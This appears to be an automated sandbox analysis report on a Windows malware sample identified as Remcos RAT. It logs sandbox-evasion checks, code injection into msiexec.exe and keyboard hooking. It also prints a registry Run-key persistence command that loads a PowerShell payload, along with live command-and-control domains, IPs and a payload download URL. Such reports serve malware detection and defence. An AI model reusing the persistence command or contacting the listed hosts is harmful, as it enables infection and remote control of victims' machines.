Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect Any.run
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: powershell.exe, 00000002.00000002.274413700752.00000000089A7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEBS5M
Source: powershell.exe, 00000002.00000002.274407978909.0000000006F50000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.274408791125.000000000742D000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.274581380265.00000000082D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 9927 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\msiexec.exe TID: 460 Thread sleep count: 2100 > 30 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\msiexec.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Sleep loop found (likely to delay execution)
Source: C:\Windows\SysWOW64\msiexec.exe Thread sleep count: Count: 2100 delay: -5 Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe File Volume queried: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe File Volume queried: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_004065FD FindFirstFileW,FindClose, 0_2_004065FD
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_00402868 FindFirstFileW, 0_2_00402868
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_004059CC
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\determinationens\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\ Jump to behavior
Source: powershell.exe, 00000002.00000002.274413700752.00000000089A7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exebs5m
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicshutdown
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicvss
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A11000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.274580776368.00000000069C2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A11000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWen-USn
Source: powershell.exe, 00000002.00000002.274407978909.0000000006F50000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.274408791125.000000000742D000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.274581380265.00000000082D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: powershell.exe, 00000002.00000002.274518512027.000000000CEE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicheartbeat
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\msiexec.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_03057711 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk, 2_2_03057711
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\SysWOW64\msiexec.exe base: 2CF0000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\SysWOW64\msiexec.exe base: 2CBFF30 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe" Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tragacanth" /t REG_EXPAND_SZ /d "%forenamed% -windowstyle 1 $Rico36=(gp -Path 'HKCU:\Software\Bistratose\').Funklet114;%forenamed% ($Rico36)" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tragacanth" /t REG_EXPAND_SZ /d "%forenamed% -windowstyle 1 $Rico36=(gp -Path 'HKCU:\Software\Bistratose\').Funklet114;%forenamed% ($Rico36)" Jump to behavior
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerHY\odu
Source: msiexec.exe, 00000006.00000002.274580776368.00000000069E7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.274580776368.0000000006A11000.00000004.00000020.00020000.00000000.sdmp, logs.dat.6.dr Binary or memory string: [2024/10/06 05:47:10 Program Manager]
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerArthur
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Managerknown.
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerHY\ot=Fw
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerHY\
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: [%04i/%02i/%02i %02i:%02i:%02i Program Manager]
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager:0s\ArtAw
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A22000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: |Program Manager|
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager:0\
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerHY\3
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager:1\C:\
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager1:1onsolOw
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerHY\16w
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerHY\;wo
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerUSERPRO
Source: msiexec.exe, 00000006.00000002.274580776368.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerZ
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040338F

Stealing of Sensitive Information
barindex
Yara detected Remcos RAT
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A22000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: msiexec.exe PID: 1264, type: MEMORYSTR
Source: Yara match File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Remote Access Functionality
barindex
Detected Remcos RAT
Source: C:\Windows\SysWOW64\msiexec.exe Mutex created: \Sessions\1\BaseNamedObjects\Rmc-MK0QHY Jump to behavior
Yara detected Remcos RAT
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A22000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: msiexec.exe PID: 1264, type: MEMORYSTR
Source: Yara match File source: C:\ProgramData\remcos\logs.dat, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1526565 Sample: zR4aIjCuRs.exe Startdate: 06/10/2024 Architecture: WINDOWS Score: 100 47 janbours92harbu04.duckdns.org 2->47 49 janbours92harbu03.duckdns.org 2->49 51 2 other IPs or domains 2->51 59 Multi AV Scanner detection for domain / URL 2->59 61 Suricata IDS alerts for network traffic 2->61 63 Found malware configuration 2->63 67 6 other signatures 2->67 10 zR4aIjCuRs.exe 18 2->10         started        signatures3 65 Uses dynamic DNS services 49->65 process4 file5 41 C:\Users\user\AppData\...\Falkespors.Var, ASCII 10->41 dropped 75 Suspicious powershell command line found 10->75 14 powershell.exe 28 10->14         started        signatures6 process7 file8 43 C:\Users\user\AppData\...\zR4aIjCuRs.exe, PE32 14->43 dropped 45 C:\Users\...\zR4aIjCuRs.exe:Zone.Identifier, ASCII 14->45 dropped 77 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 14->77 79 Writes to foreign memory regions 14->79 81 Tries to detect Any.run 14->81 83 3 other signatures 14->83 18 msiexec.exe 5 9 14->18         started        23 conhost.exe 14->23         started        25 msiexec.exe 14->25         started        27 msiexec.exe 14->27         started        signatures9 process10 dnsIp11 53 janbours92harbu03.duckdns.org 192.169.69.26, 3980, 49769, 49773 WOWUS United States 18->53 55 janbours92harbu04.duckdns.org 45.74.58.7, 3981 VOXILITYGB United States 18->55 57 simonastolerciuc.ro 85.120.16.93, 443, 49768 RCS-RDS73-75DrStaicoviciRO Romania 18->57 39 C:\ProgramData\remcos\logs.dat, data 18->39 dropped 69 Detected Remcos RAT 18->69 71 Tries to detect Any.run 18->71 73 Installs a global keyboard hook 18->73 29 cmd.exe 1 18->29         started        31 WerFault.exe 22 16 18->31         started        33 WerFault.exe 16 18->33         started        file12 signatures13 process14 process15 35 conhost.exe 29->35         started        37 reg.exe 1 1 29->37         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
85.120.16.93
 simonastolerciuc.ro Romania
8708 RCS-RDS73-75DrStaicoviciRO false
192.169.69.26
 janbours92harbu03.duckdns.org United States
23033 WOWUS true
45.74.58.7
 janbours92harbu04.duckdns.org United States
3223 VOXILITYGB true

Contacted Domains

Name IP Active
janbours92harbu04.duckdns.org 45.74.58.7 true
simonastolerciuc.ro 85.120.16.93 true
janbours92harbu03.duckdns.org 192.169.69.26 true
janbours92harbu007.duckdns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://simonastolerciuc.ro/images/vnlXriHFWaBU97.bin false unknown
q92harbu03.duckdns.org true
    		unknown